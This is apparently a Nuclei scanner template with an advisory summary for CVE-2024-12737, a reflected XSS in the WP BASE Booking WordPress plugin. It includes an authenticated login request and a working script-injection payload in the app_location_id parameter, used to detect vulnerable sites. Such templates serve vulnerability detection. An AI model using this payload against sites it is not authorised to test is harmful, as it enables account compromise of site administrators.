WP BASE Booking of Appointments, Services and Events WordPress plugin < 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.
PoC
id: CVE-2024-12737
info:
name: WP BASE Booking - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WP BASE Booking of Appointments, Services and Events WordPress plugin < 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.
impact: |
Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
remediation: |
Update to version 5.0.0 or later.
reference:
- https://wpscan.com/vulnerability/997eb9f6-80e1-4bc5-be72-bd6a6f52379c/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12737
cwe-id: CWE-79
epss-score: 0.00589
epss-percentile: 0.4661
cpe: cpe:2.3:a:wp-base:wp_base_booking_of_appointments\,_services_and_events:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
publicwww-query: "wp-base-booking-of-appointments-services-and-events"
tags: cve,cve2024,wp-base,wordpress,wpscan,wp-plugin,wp,authenticated,xss,wp-base-booking-of-appointments-services-and-events
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=appointments&app_location_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-base-booking-of-appointments-services-and-events")
condition: and
# digest: 4b0a00483046022100e575868b2639dd960d5cd3e4dca739ba344edc5481bb10891da6841a222dc6e4022100934d9d002908abfbdff2ca854f8d6ab810f64d67b21dd6f477999986628019e6:922c64590222798bb761d5b6d8e72950
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